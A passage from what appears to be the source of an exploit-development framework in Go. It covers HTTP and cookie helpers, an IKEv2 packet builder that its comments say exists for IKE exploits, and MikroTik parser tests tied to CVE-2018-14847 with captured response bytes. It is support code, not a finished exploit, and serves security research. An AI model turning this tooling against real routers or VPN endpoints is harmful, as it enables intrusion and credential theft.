io.Copy(fw, strings.NewReader(body)) return err == nil } // Add a file and content type for a multipart form. func MultipartAddFile(writer *multipart.Writer, name, filename, ctype, value string) bool { // CreateFormFile doesn't expose Content-Type return MultipartAddPart(writer, map[string]string{ "Content-Disposition": fmt.Sprintf(`form-data; name="%s"; filename="%s"`, name, filename), "Content-Type": ctype, }, value) } // Provided an HTTP request, find the Set-Cookie headers, and extract // the value of the specified cookie. func GetSetCookieValue(resp *http.Response, name string) (string, bool) { cookies, ok := resp.Header["Set-Cookie"] if !ok { output.PrintError("Missing Set-Cookie header") return "", false } for _, entry := range cookies { if strings.HasPrefix(entry, name+"=") { end := len(entry) index := strings.Index(entry, ";") if index != -1 { end = index } return entry[len(name+"="):end], true } } return "", false } ================================================ FILE: protocol/httphelper_test.go ================================================ package protocol import ( "net/http" "testing" ) func TestBasicAuth(t *testing.T) { auth := BasicAuth("foo", "bar") if auth != "Basic Zm9vOmJhcg==" { t.Fatal(auth) } t.Log(auth) } func TestParseCookies(t *testing.T) { cookies := parseCookies([]string{ "cookie1=foo; path=/", "cookie2=bar;", "cookie3=baz", }) if cookies != "cookie1=foo; cookie2=bar; cookie3=baz" { t.Fatal(cookies) } t.Log(cookies) } func TestBuildURI(t *testing.T) { uri := BuildURI("a", "file", "path") if uri != "/a/file/path" { t.Fatal(uri) } uri = BuildURI("a", "", "path") if uri != "/a/path" { t.Fatal(uri) } uri = BuildURI("") if uri != "/" { t.Fatal(uri) } } func TestGenerateURL(t *testing.T) { uri := GenerateURL("google.com", 443, true, "/") if uri != "https://google.com:443/" { t.Fatal(uri) } uri = GenerateURL("google.com", 443, true, "/helloworld") if uri != "https://google.com:443/helloworld" { t.Fatal(uri) } uri = GenerateURL("::1", 1270, false, "/") if uri != "http://[::1]:1270/" { t.Fatal(uri) } } func TestCookieString(t *testing.T) { // Normally you might not want duplicates, but there are common bugs with that handling // so it might be wanted for hacks. testCookies := []*http.Cookie{ {Name: "testname", Value: "testvalue"}, {Name: "testname", Value: "testvalue"}, {Name: "test2name", Value: "test2value"}, {Name: "stuff", Value: "stuff"}, } cookieStr := CookieString(testCookies) if cookieStr != `testname=testvalue; testname=testvalue; test2name=test2value; stuff=stuff;` { t.Fatal(cookieStr) } } ================================================ FILE: protocol/ikev2/ikev2.go ================================================ // Package ikev2 // A (very) basic framework for an ikev2 protocol. // The intent with adding this package is not to add an entire, fully functional protocol but rather providing a convenient interface for generating the data structures for ike-related exploits. // The goal is to add to this as we go, as new exploits demand it. // // Using this will probably require you to make your own SAInit function to generate the message data and then sending it over the ikeClient connection. // A basic example of something like this follows: // // func saInit(ikeClient *ikev2.IkeClient, diffieHellmanGroup int) ([]byte, bool) { // // ikeClient.IkeCrypto = ikev2.IkeCrypto{} // ikeClient.IkeCrypto.Init() // ok := ikeClient.IkeCrypto.GenerateDHKey(diffieHellmanGroup) // if !ok { // return []byte{}, false // } // // defaultTransforms := []ikev2.IkeTransform{ // {NextPayload: ikev2.PayloadType["TRANSFORM"], TransformType: ikev2.TransformType["ENCRYPTION_ALGORITHM"], TransformID: ikev2.EncryptionAlgorithm["ENCR_AES_CBC"], TransformAttributes: 0x800e0100}, // } // // message := make([]byte, 0) // header := ikev2.IkePackHeader(ikeClient, ikev2.PayloadType["SECURITY_ASSOCIATION"], 0x20, ikev2.ExchangeType["IKE_SA_INIT"], 0x08, 0x0) // message = append(message, ikev2.IkePackSecurityAssociation(ikev2.PayloadType["KEY_EXCHANGE"], ikev2.IkePackProposal(ikev2.PayloadType["NONE"], 1, 1, defaultTransforms, ""))...) // message = append(message, ikev2.IkePackKeyExchange(ikev2.PayloadType["NONCE"], ikev2.DiffieHellmanGroup["DH_GROUP_2048_BIT_MODP"], ikeClient.IkeCrypto.ClientPubKey.Bytes())...) // message = append(message, ikev2.IkePackNonce(ikev2.PayloadType["NOTIFY"], ikeClient.IkeCrypto.InitNonce)...) // // tempBytes, _ := hex.DecodeString("deadbeef") // message = append(message, ikev2.IkePackNotify(ikev2.PayloadType["NOTIFY"], ikev2.NotifyType["NAT_DETECTION_DESTINATION_IP"], tempBytes, 1, 0)...) // // tempBytes, _ = hex.DecodeString("0021030203030006") // message = append(message, ikev2.IkePackNotify(ikev2.PayloadType["NONE"], ikev2.NotifyType["SIGNATURE_HASH_ALGORITHMS"], tempBytes, 0, 0)...) // // // combining the message // payload := make([]byte, 0) // payload = append(header, []byte(transform.PackBigInt32(len(message)+len(header)+4))...) // payload = append(payload, message...) // return payload, true // } // // func main() { // ikeClient := ikev2.IkeClient{} // saInitPayload, _ := saInit(&ikeClient, ikev2.DiffieHellmanGroup["DH_GROUP_2048_BIT_MODP"]) // if !ok { // output.PrintError("error encountered while generating SAInit payload") // return false // } // // if !ikeClient.Connect(conf){ // return false // } // // _, err := ikeClient.Conn.Write([]byte(saInitPayload)) // if err != nil { // output.PrintfDebug("SAInit Send failed: %s", err.Error()) // return false // } // output.PrintDebug("Sent SAInit message") // } package ikev2 import ( "crypto/rand" "encoding/binary" "math/big" mrand "math/rand" "net" "strconv" "github.com/vulncheck-oss/go-exploit/config" "github.com/vulncheck-oss/go-exploit/output" ) func Uint64ToString(num uint64) []byte { bytes := make([]byte, 8) binary.BigEndian.PutUint64(bytes, num) return bytes } func generateNonce(length int) ([]byte, bool) { nonce := make([]byte, length) _, err := rand.Read(nonce) if err != nil { output.PrintfFrameworkError("Error while generating nonce: %s", err.Error()) return []byte{}, false } return nonce, true } // Switch case is here in case anyone wants to add additional DH support. func (ikeCrypto *IkeCrypto) GenerateDHKey(diffieHellmanGroup int) bool { switch diffieHellmanGroup { case DiffieHellmanGroup["DH_GROUP_2048_BIT_MODP"]: ikeCrypto.Prime = new(big.Int) ikeCrypto.Prime.SetString("FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF", 16) // https://www.ietf.org/rfc/rfc3526.txt g := big.NewInt(2) ikeCrypto.ClientPrivKey, _ = rand.Int(rand.Reader, ikeCrypto.Prime) ikeCrypto.ClientPubKey = new(big.Int).Exp(g, ikeCrypto.ClientPrivKey, ikeCrypto.Prime) return true default: output.PrintFrameworkError("Provided DH group is currently unsupported.") return false } } func (ikeCrypto *IkeCrypto) Init() bool { var ok bool ikeCrypto.InitNonce, ok = generateNonce(32) if !ok { return false } ikeCrypto.RespNonce = []byte{} ikeCrypto.InitSPI = mrand.Uint64() ikeCrypto.RespSPI = 0x0000000000000000 return true } // An initial reset/connect helper function. func (ikeClient *IkeClient) Connect(conf *config.Config) bool { var err error if ikeClient.Conn != nil { err = ikeClient.Conn.Close() if err != nil { // we probably do not want to exit on this, we're establishing a new connection anyways output.PrintfFrameworkWarn("Failed to close socket: %s", err.Error()) } } connectionString := net.JoinHostPort(conf.Rhost, strconv.Itoa(conf.Rport)) ikeClient.Conn, err = net.Dial("udp", connectionString) if err != nil { output.PrintfFrameworkError("Dial failed: %s", err.Error()) return false } output.PrintfFrameworkDebug("Successfully established UDP connection to %s", connectionString) return true } ================================================ FILE: protocol/ikev2/ikev2_test.go ================================================ package ikev2 import ( "encoding/hex" "fmt" "testing" ) func TestVendorIDPack(t *testing.T) { want := "2b000014c590254e5403cbb71f3d493111d7fcad" tempBytes, _ := hex.DecodeString("c590254e5403cbb71f3d493111d7fcad") got := IkePackVendorID(PayloadType["VENDOR_ID"], tempBytes) if fmt.Sprintf("%02x", got) != want { t.Fatalf("[1] %q : %02x != %s", got, got, want) } want = "2b000014c61baca1f1a60cc10800000000000000" tempBytes, _ = hex.DecodeString("c61baca1f1a60cc10800000000000000") got = IkePackVendorID(PayloadType["VENDOR_ID"], tempBytes) if fmt.Sprintf("%02x", got) != want { t.Fatalf("[2] %q : %02x != %s", got, got, want) } want = "2b0000184048b7d56ebce88525e7de7f00d6c2d3c0000000" tempBytes, _ = hex.DecodeString("4048b7d56ebce88525e7de7f00d6c2d3c0000000") got = IkePackVendorID(PayloadType["VENDOR_ID"], tempBytes) if fmt.Sprintf("%02x", got) != want { t.Fatalf("[3] %q : %02x != %s", got, got, want) } want = "290000144048b7d56ebce88525e7de7f00d6c2d3" tempBytes, _ = hex.DecodeString("4048b7d56ebce88525e7de7f00d6c2d3") got = IkePackVendorID(PayloadType["NOTIFY"], tempBytes) if fmt.Sprintf("%02x", got) != want { t.Fatalf("[4] %q : %02x != %s", got, got, want) } } func TestSecurityAssociationPack(t *testing.T) { want := "220000300000002c010100040300000c0100000c800e01000300000802000005030000080300000c000000080400000e" defaultTransforms := []IkeTransform{ {PayloadType["TRANSFORM"], TransformType["ENCRYPTION_ALGORITHM"], EncryptionAlgorithm["ENCR_AES_CBC"], 0x800e0100}, {PayloadType["TRANSFORM"], TransformType["PSEUDO_RANDOM_FUNCTION"], PseudoRandomFunction["PRF_HMAC_SHA2_256"], 0}, {PayloadType["TRANSFORM"], TransformType["INTEGRITY_ALGORITHM"], IntegrityAlgorithm["AUTH_HMAC_SHA2_256_128"], 0}, {PayloadType["NONE"], TransformType["DIFFIE_HELLMAN_GROUP"], DiffieHellmanGroup["DH_GROUP_2048_BIT_MODP"], 0}, } got := IkePackSecurityAssociation(PayloadType["KEY_EXCHANGE"], IkePackProposal(PayloadType["NONE"], 1, 1, defaultTransforms, "")) if fmt.Sprintf("%02x", got) != want { t.Fatalf("[1] %q : %02x != %s", got, got, want) } } func TestNotifyPack(t *testing.T) { want := "2900001c01004005a6358d813592fdd80a9aaa3390f39c8a5a76b6e4" tempBytes, _ := hex.DecodeString("a6358d813592fdd80a9aaa3390f39c8a5a76b6e4") got := IkePackNotify(PayloadType["NOTIFY"], NotifyType["NAT_DETECTION_DESTINATION_IP"], tempBytes, 1, 0) if fmt.Sprintf("%02x", got) != want { t.Fatalf("[1] %q : %02x != %s", got, got, want) } want = "2b00001c010040044cc324152ba3f68ef649ac1e6f96f33791611db2" tempBytes, _ = hex.DecodeString("4cc324152ba3f68ef649ac1e6f96f33791611db2") got = IkePackNotify(PayloadType["VENDOR_ID"], NotifyType["NAT_DETECTION_SOURCE_IP"], tempBytes, 1, 0) if fmt.Sprintf("%02x", got) != want { t.Fatalf("[2] %q : %02x != %s", got, got, want) } want = "290000080000402e" got = IkePackNotify(PayloadType["NOTIFY"], NotifyType["IKEV2_FRAGMENTATION_SUPPORTED"], []byte{}, 0, 0) if fmt.Sprintf("%02x", got) != want { t.Fatalf("[3] %q : %02x != %s", got, got, want) } want = "2900000800004016" got = IkePackNotify(PayloadType["NOTIFY"], NotifyType["REDIRECT_SUPPORTED"], []byte{}, 0, 0) if fmt.Sprintf("%02x", got) != want { t.Fatalf("[4] %q : %02x != %s", got, got, want) } want = "000000100000402f0001000200030004" tempBytes, _ = hex.DecodeString("0001000200030004") got = IkePackNotify(PayloadType["NONE"], NotifyType["SIGNATURE_HASH_ALGORITHMS"], tempBytes, 0, 0) if fmt.Sprintf("%02x", got) != want { t.Fatalf("[5] %q : %02x != %s", got, got, want) } } ================================================ FILE: protocol/ikev2/packs.go ================================================ package ikev2 import ( "github.com/vulncheck-oss/go-exploit/transform" ) // Creates a Nonce component. // // ikev2.IkePackNonce(ikev2.PayloadType["NOTIFY"], ikeClient.IkeCrypto.InitNonce) func IkePackNonce(nextPayload int, nonce []byte) []byte { return IkePackPayloadHeader(nextPayload, nonce) } // Creates a VendorID component. // // tempBytes, _ = hex.DecodeString("4048b7d56ebce88525e7de7f00d6c2d3") // ikev2.IkePackVendorID(ikev2.PayloadType["NOTIFY"], tempBytes) func IkePackVendorID(nextPayload int, vendorID []byte) []byte { return IkePackPayloadHeader(nextPayload, vendorID) } // Creates a Notify component. // // tempBytes, _ = hex.DecodeString("0021030203030006") // ikev2.IkePackNotify(ikev2.PayloadType["NONE"], ikev2.NotifyType["SIGNATURE_HASH_ALGORITHMS"], tempBytes, 0, 0) func IkePackNotify(nextPayload int, notifyType int, data []byte, protocolID int, spiSize int) []byte { payload := make([]byte, 0) payload = append(payload, byte(protocolID)) payload = append(payload, byte(spiSize)) payload = append(payload, []byte(transform.PackBigInt16(notifyType))...) payload = append(payload, data...) return IkePackPayloadHeader(nextPayload, payload) } // Creates a KeyExchange component. // // ikev2.IkePackKeyExchange(ikev2.PayloadType["NONCE"], ikev2.DiffieHellmanGroup["DH_GROUP_2048_BIT_MODP"], ikeClient.IkeCrypto.ClientPubKey.Bytes()) func IkePackKeyExchange(nextPayload int, dhGroup int, data []byte) []byte { payload := []byte(transform.PackBigInt16(dhGroup)) payload = append(payload, []byte(transform.PackBigInt16(0))...) // reserved bytes (2) payload = append(payload, data...) return IkePackPayloadHeader(nextPayload, payload) } // Creates a Security Association component. // // ikev2.IkePackSecurityAssociation(ikev2.PayloadType["KEY_EXCHANGE"], ikev2.IkePackProposal(ikev2.PayloadType["NONE"], 1, 1, defaultTransforms, "")) func IkePackSecurityAssociation(payloadType int, proposal []byte) []byte { return IkePackPayloadHeader(payloadType, proposal) } // Creates a transform byte array from a transform. // // ikev2.IkeTransform{NextPayload: ikev2.PayloadType["TRANSFORM"], TransformType: ikev2.TransformType["ENCRYPTION_ALGORITHM"], TransformID: ikev2.EncryptionAlgorithm["ENCR_AES_CBC"], TransformAttributes: 0x800e0100} func (ikeTransform *IkeTransform) Pack() []byte { payload := make([]byte, 0) payload = append(payload, byte(ikeTransform.TransformType)) payload = append(payload, byte(0)) payload = append(payload, []byte(transform.PackBigInt16(ikeTransform.TransformID))...) transform.PackBigInt16(ikeTransform.TransformID) if ikeTransform.TransformAttributes != 0 { payload = append(payload, []byte(transform.PackBigInt32(ikeTransform.TransformAttributes))...) } return IkePackPayloadHeader(ikeTransform.NextPayload, payload) } // Encapsulates a Packed component (or any binary array) with the nextHeader. Used by most of these packs. func IkePackPayloadHeader(payloadType int, payloadIn []byte) []byte { payload := make([]byte, 0) payload = append(payload, byte(payloadType)) payload = append(payload, byte(0)) payload = append(payload, []byte(transform.PackBigInt16(len(payloadIn)+4))...) payload = append(payload, payloadIn...) return payload } // Creates a Proposal component. // // ikev2.IkePackProposal(ikev2.PayloadType["NONE"], 1, 1, defaultTransforms, ""). func IkePackProposal(nextPayload int, number int, id int, transforms []IkeTransform, spi string) []byte { payload := make([]byte, 0) payload = append(payload, byte(number)) payload = append(payload, byte(id)) payload = append(payload, byte(len(spi))) payload = append(payload, byte(len(transforms))) payload = append(payload, []byte(spi)...) for _, transform := range transforms { payload = append(payload, transform.Pack()...) } return IkePackPayloadHeader(nextPayload, payload) } // Creates a Header component. // // ikev2.IkePackHeader(ikeClient, ikev2.PayloadType["SECURITY_ASSOCIATION"], 0x20, ikev2.ExchangeType["IKE_SA_INIT"], 0x08, 0x0) func IkePackHeader(ikeClient *IkeClient, payloadType int, version int, exchangeType int, flags int, messageID int) []byte { payload := make([]byte, 0) payload = append(payload, Uint64ToString(ikeClient.IkeCrypto.InitSPI)...) payload = append(payload, Uint64ToString(ikeClient.IkeCrypto.RespSPI)...) payload = append(payload, byte(payloadType)) payload = append(payload, byte(version)) payload = append(payload, byte(exchangeType)) payload = append(payload, byte(flags)) payload = append(payload, []byte(transform.PackBigInt32(messageID))...) return payload } ================================================ FILE: protocol/ikev2/types.go ================================================ package ikev2 import ( "math/big" "net" ) // I hate go idioms for enums, so we're doing string maps. // The primary reason is that I want the context to be evident, much like a namespace when using the structures here. var PayloadType = map[string]int{ "NONE": 0, "TRANSFORM": 3, "SECURITY_ASSOCIATION": 33, "KEY_EXCHANGE": 34, "IDENTIFIER_INITIATOR": 35, "IDENTIFIER_RESPONDER": 36, "CERTIFICATE": 37, "CERTIFICATE_REQUEST": 38, "AUTHENTICATION": 39, "NONCE": 40, "NOTIFY": 41, "DELETE": 42, "VENDOR_ID": 43, "TRAFFIC_SELECTOR_INITIATOR": 44, "TRAFFIC_SELECTOR_RESPONDER": 45, "ENCRYPTED": 46, "CONFIGURATION": 47, "EXTENSIBLE_AUTHENTICATION": 48, } var ExchangeType = map[string]int{ "IKE_SA_INIT": 34, "IKE_AUTH": 35, "CREATE_CHILD_SA": 36, "INFORMATIONAL": 37, } var TransformType = map[string]int{ "ENCRYPTION_ALGORITHM": 1, "PSEUDO_RANDOM_FUNCTION": 2, "INTEGRITY_ALGORITHM": 3, "DIFFIE_HELLMAN_GROUP": 4, } var NotifyType = map[string]int{ "UNSUPPORTED_CRITICAL_PAYLOAD": 1, "INVALID_IKE_SPI": 4, "INVALID_MAJOR_VERSION": 5, "INVALID_SYNTAX": 7, "INVALID_MESSAGE_ID": 9, "INVALID_SPI": 11, "NO_PROPOSAL_CHOSEN": 14, "INVALID_KE_PAYLOAD": 17, "AUTHENTICATION_FAILED": 24, "SINGLE_PAIR_REQUIRED": 34, "NO_ADDITIONAL_SAS": 35, "INTERNAL_ADDRESS_FAILURE": 36, "FAILED_CP_REQUIRED": 37, "TS_UNACCEPTABLE": 38, "INVALID_SELECTORS": 39, "INITIAL_CONTACT": 16384, "SET_WINDOW_SIZE": 16385, "ADDITIONAL_TS_POSSIBLE": 16386, "IPCOMP_SUPPORTED": 16387, "NAT_DETECTION_SOURCE_IP": 16388, "NAT_DETECTION_DESTINATION_IP": 16389, "COOKIE": 16390, "USE_TRANSPORT_MODE": 16391, "HTTP_CERT_LOOKUP_SUPPORTED": 16392, "REKEY_SA": 16393, "ESP_TFC_PADDING_NOT_SUPPORTED": 16394, "NON_FIRST_FRAGMENTS_ALSO": 16395, "MOBIKE_SUPPORTED": 16396, "MULTIPLE_AUTH_SUPPORTED": 16404, "REDIRECT_SUPPORTED": 16406, "IKEV2_FRAGMENTATION_SUPPORTED": 16430, "SIGNATURE_HASH_ALGORITHMS": 16431, } var ConfigurationAttribute = map[string]int{ "INTERNAL_IP4_ADDRESS": 1, "INTERNAL_IP4_NETMASK": 2, "INTERNAL_IP4_DNS": 3, "INTERNAL_IP4_MBNS": 4, "APPLICATION_VERSION": 7, "INTERNAL_IP6_ADDRESS": 8, "INTERNAL_IP6_DNS": 10, } var EncryptionAlgorithm = map[string]int{ "ENCR_DES_IV64": 1, "ENCR_DES": 2, "ENCR_3DES": 3, "ENCR_RC5": 4, "ENCR_IDEA": 5, "ENCR_CAST": 6, "ENCR_BLOWFISH": 7, "ENCR_3IDEA": 8, "ENCR_DES_IV32": 9, "RESERVED": 10, "ENCR_NULL": 11, "ENCR_AES_CBC": 12, "ENCR_AES_CTR": 13, "ENCR_AES_CCM_8": 14, "ENCR_AES_CCM_12": 15, "ENCR_AES_CCM_16": 16, "ENCR_AES_GCM_8": 18, "ENCR_AES_GCM_12": 19, "ENCR_AES_GCM_16": 20, "ENCR_NULL_AUTH_AES_GMAC": 21, "P1619_XTS_AES": 22, "ENCR_CAMELLIA_CBC": 23, "ENCR_CAMELLIA_CTR": 24, "ENCR_CAMELLIA_CCM_8": 25, "ENCR_CAMELLIA_CCM_12": 26, "ENCR_CAMELLIA_CCM_16": 27, "ENCR_CHACHA20_POLY1305": 28, "ENCR_AES_CCM_8_IIV": 29, "ENCR_AES_GCM_16_IIV": 30, "ENCR_CHACHA20_POLY1305_IIV": 31, "ENCR_KUZNYECHIK_MGM_KTREE": 32, "ENCR_MAGMA_MGM_KTREE": 33, "ENCR_KUZNYECHIK_MGM_MAC_KTREE": 34, "ENCR_MAGMA_MGM_MAC_KTREE": 35, } var PseudoRandomFunction = map[string]int{ "PRF_HMAC_MD5": 1, "PRF_HMAC_SHA1": 2, "PRF_HMAC_TIGER": 3, "PRF_AES128_XCBC": 4, "PRF_HMAC_SHA2_256": 5, "PRF_HMAC_SHA2_384": 6, "PRF_HMAC_SHA2_512": 7, "PRF_AES128_CMAC": 8, "PRF_HMAC_STREEBOG_512": 9, } var IntegrityAlgorithm = map[string]int{ "AUTH_HMAC_MD5_96": 1, "AUTH_HMAC_SHA1_96": 2, "AUTH_DES_MAC": 3, "AUTH_KPDK_MD5": 4, "AUTH_AES_XCBC_96": 5, "AUTH_HMAC_MD5_128": 6, "AUTH_HMAC_SHA1_160": 7, "AUTH_AES_CMAC_96": 8, "AUTH_AES_128_GMAC": 9, "AUTH_AES_192_GMAC": 10, "AUTH_AES_256_GMAC": 11, "AUTH_HMAC_SHA2_256_128": 12, "AUTH_HMAC_SHA2_384_192": 13, "AUTH_HMAC_SHA2_512_256": 14, } var DiffieHellmanGroup = map[string]int{ "DH_GROUP_2048_BIT_MODP": 14, "DH_GROUP_768_BIT_MODP": 1, "DH_GROUP_1024_BIT_MODP": 2, "DH_GROUP_1536_BIT_MODP": 5, "DH_GROUP_3072_BIT_MODP": 15, "DH_GROUP_4096_BIT_MODP": 16, "DH_GROUP_6144_BIT_MODP": 17, "DH_GROUP_8192_BIT_MODP": 18, "RANDOM_ECP_GROUP_256_BIT": 19, "RANDOM_ECP_GROUP_384_BIT": 20, "RANDOM_ECP_GROUP_521_BIT": 21, "DH_GROUP_1024_BIT_MODP_WITH_160_BIT_PRIME_ORDER_SUBGROUP": 22, "DH_GROUP_2048_BIT_MODP_WITH_224_BIT_PRIME_ORDER_SUBGROUP": 23, "DH_GROUP_2048_BIT_MODP_WITH_256_BIT_PRIME_ORDER_SUBGROUP": 24, "RANDOM_ECP_GROUP_192_BIT": 25, "RANDOM_ECP_GROUP_224_BIT": 26, "BRAINPOOLP224R1": 27, "BRAINPOOLP256R1": 28, "BRAINPOOLP384R1": 29, "BRAINPOOLP512R1": 30, "CURVE25519": 31, "CURVE448": 32, "GOST3410_2012_256": 33, "GOST3410_2012_512": 34, "ML_KEM_512": 35, "ML_KEM_768": 36, "ML_KEM_1024": 37, } type IkeClient struct { Conn net.Conn IkeCrypto IkeCrypto } type IkeCrypto struct { Prime *big.Int InitNonce []byte RespNonce []byte InitSPI uint64 RespSPI uint64 ClientPrivKey *big.Int ClientPubKey *big.Int ServerPubKey *big.Int SharedSecret *big.Int SKeySeed string SKd string SKai string SKar string SKei string SKer string } type IkeProposal struct { ProposalNumber int ProtocolID int SPI int Transforms []IkeTransform } type IkeTransform struct { NextPayload int TransformType int TransformID int TransformAttributes int // a bit lazy perhaps, but it gets used infrequently enough that providing an int instead of a list of maps + enums should suffice // Reserved int = 0 } ================================================ FILE: protocol/mikrotik/mikrotik_test.go ================================================ package mikrotik import ( "bytes" "testing" ) func Test_CVE_2018_14847_ServerResponse1(t *testing.T) { result := NewM2Message() data := "\x01\x00\xff\x88\x02\x00\x00\x00\x00\x00\x08\x00\x00\x00\x02\x00\xff\x88\x02\x00\x02\x00\x00\x00\x02\x00\x00\x00\x01\x00\xfe\x09\x06\x03\x00\xff\x09\x02\x02\x00\x00\x09\xbc\x06\x00\xff\x09\x05" if !ParseM2Message([]byte(data), result) { t.Error("Failed M2 messaging parsing") } if result.U32s[0xfe0001] != 6 { t.Error("u32 var 0xfe0001 was expected to be 6, got", result.U32s[0xfe0001]) } if result.U32s[0xff0003] != 2 { t.Error("u32 var 0xff0003 was expected to be 2, got", result.U32s[0xff0003]) } if result.U32s[2] != 0xbc { t.Error("u32 var 2 was expected to be 0xbc, got", result.U32s[2]) } if result.U32s[0xff0006] != 5 { t.Error("u32 var 0xff0006 was expected to be 5, got", result.U32s[0xff0006]) } if len(result.ArrayU32[0xff0001]) != 2 { t.Error("ArrayU32 var 0xff0001 was expected to contain 2 values, has", len(result.ArrayU32[0xff0001])) } if len(result.ArrayU32[0xff0002]) != 2 { t.Error("ArrayU32 var 0xff0002 was expected to contain 2 values, has", len(result.ArrayU32[0xff0002])) } if result.ArrayU32[0xff0001][0] != 0 { t.Error("ArrayU32 var 0xff0001 index 0 was expected to be 0, has", result.ArrayU32[0xff0001][0]) } if result.ArrayU32[0xff0001][1] != 8 { t.Error("ArrayU32 var 0xff0001 index 0 was expected to be 8, has", result.ArrayU32[0xff0001][1]) } if result.ArrayU32[0xff0002][0] != 2 { t.Error("ArrayU32 var 0xff0002 index 0 was expected to be 2, has", result.ArrayU32[0xff0002][0]) } if result.ArrayU32[0xff0002][1] != 2 { t.Error("ArrayU32 var 0xff0002 index 1 was expected to be 2, has", result.ArrayU32[0xff0002][1]) } if result.GetSessionID() != 6 { t.Error("The session id was expected to be 6, got", result.GetSessionID()) } } func Test_CVE_2018_14847_ServerResponse2(t *testing.T) { result := NewM2Message() data := "\x01\x00\xff\x88\x02\x00\x00\x00\x00\x00\x08\x00\x00\x00\x02\x00\xff\x88\x02\x00\x02\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x01\x03\x00\xff\x09\x02\x06\x00\xff\x09\x06\x03\x00\x00\x31\xbc\x5a\x00\x4d\x32\x10\x00\x00\xa8\x00\x00\x1c\x00\x00\x00\x0a\x00\xfe\x00\x05\x00\x00\x09\x00\x06\x00\x00\x09\x00\x0b\x00\x00\x08\xfe\xff\x07\x00\x12\x00\x00\x09\x02\x01\x00\xfe\x09\x01\x02\x00\x00\x09\x03\x09\x00\xfe\x21\x13\x73\x79\x73\x74\x65\x6d\x20\x64\x65\x66\x61\x75\x6c\x74\x20\x75\x73\x65\x72\x11\x00\x00\x21\x00\x01\x00\x00\x21\x05\x61\x64\x6d\x69\x6e\x62\x00\x4d\x32\x10\x00\x00\xa8\x00\x00\x1c\x00\x00\x00\x0a\x00\xfe\x00\x05\x00\x00\x09\x00\x06\x00\x00\x09\x00\x1f\x00\x00\x08\x7e\x9e\x07\x00\x0b\x00\x00\x08\xfe\xff\x07\x00\x12\x00\x00\x09\x02\x01\x00\xfe\x09\x01\x02\x00\x00\x09\x03\x09\x00\xfe\x21\x13\x73\x79\x73\x74\x65\x6d\x20\x64\x65\x66\x61\x75\x6c\x74\x20\x75\x73\x65\x72\x11\x00\x00\x21\x00\x01\x00\x00\x21\x05\x61\x64\x6d\x69\x6e" if !ParseM2Message([]byte(data), result) { t.Error("Failed M2 messaging parsing") } if len(result.ArrayU32[0xff0001]) != 2 { t.Error("ArrayU32 var 0xff0001 was expected to contain 2 values, has", len(result.ArrayU32[0xff0001])) } if len(result.ArrayU32[0xff0002]) != 2 { t.Error("ArrayU32 var 0xff0002 was expected to contain 2 values, has", len(result.ArrayU32[0xff0002])) } if result.ArrayU32[0xff0001][0] != 0 { t.Error("ArrayU32 var 0xff0001 index 0 was expected to be 0, has", result.ArrayU32[0xff0001][0]) } if result.ArrayU32[0xff0001][1] != 8 { t.Error("ArrayU32 var 0xff0001 index 0 was expected to be 8, has", result.ArrayU32[0xff0001][1]) } if result.ArrayU32[0xff0002][0] != 2 { t.Error("ArrayU32 var 0xff0002 index 0 was expected to be 2, has", result.ArrayU32[0xff0002][0]) } if result.ArrayU32[0xff0002][1] != 2 { t.Error("ArrayU32 var 0xff0002 index 1 was expected to be 2, has", result.ArrayU32[0xff0002][1]) } if !result.Bools[4] { t.Error("Bools var 4 was expected to be true, was false") } if len(result.Raw[3]) != 0xbc { t.Error("Raw var 3 was expected to contain 0xbc bytes, has", len(result.Raw[3])) } if !bytes.Equal(result.Raw[3], []byte("\x5a\x00\x4d\x32\x10\x00\x00\xa8\x00\x00\x1c\x00\x00\x00\x0a\x00\xfe\x00\x05\x00\x00\x09\x00\x06\x00\x00\x09\x00\x0b\x00\x00\x08\xfe\xff\x07\x00\x12\x00\x00\x09\x02\x01\x00\xfe\x09\x01\x02\x00\x00\x09\x03\x09\x00\xfe\x21\x13\x73\x79\x73\x74\x65\x6d\x20\x64\x65\x66\x61\x75\x6c\x74\x20\x75\x73\x65\x72\x11\x00\x00\x21\x00\x01\x00\x00\x21\x05\x61\x64\x6d\x69\x6e\x62\x00\x4d\x32\x10\x00\x00\xa8\x00\x00\x1c\x00\x00\x00\x0a\x00\xfe\x00\x05\x00\x00\x09\x00\x06\x00\x00\x09\x00\x1f\x00\x00\x08\x7e\x9e\x07\x00\x0b\x00\x00\x08\xfe\xff\x07\x00\x12\x00\x00\x09\x02\x01\x00\xfe\x09\x01\x02\x00\x00\x09\x03\x09\x00\xfe\x21\x13\x73\x79\x73\x74\x65\x6d\x20\x64\x65\x66\x61\x75\x6c\x74\x20\x75\x73\x65\x72\x11\x00\x00\x21\x00\x01\x00\x00\x21\x05\x61\x64\x6d\x69\x6e")) { t.Error("Raw var 3 does not contain the expected payload") } } func Test_ParseUsersFile(t *testing.T) { result := NewM2Message() data := 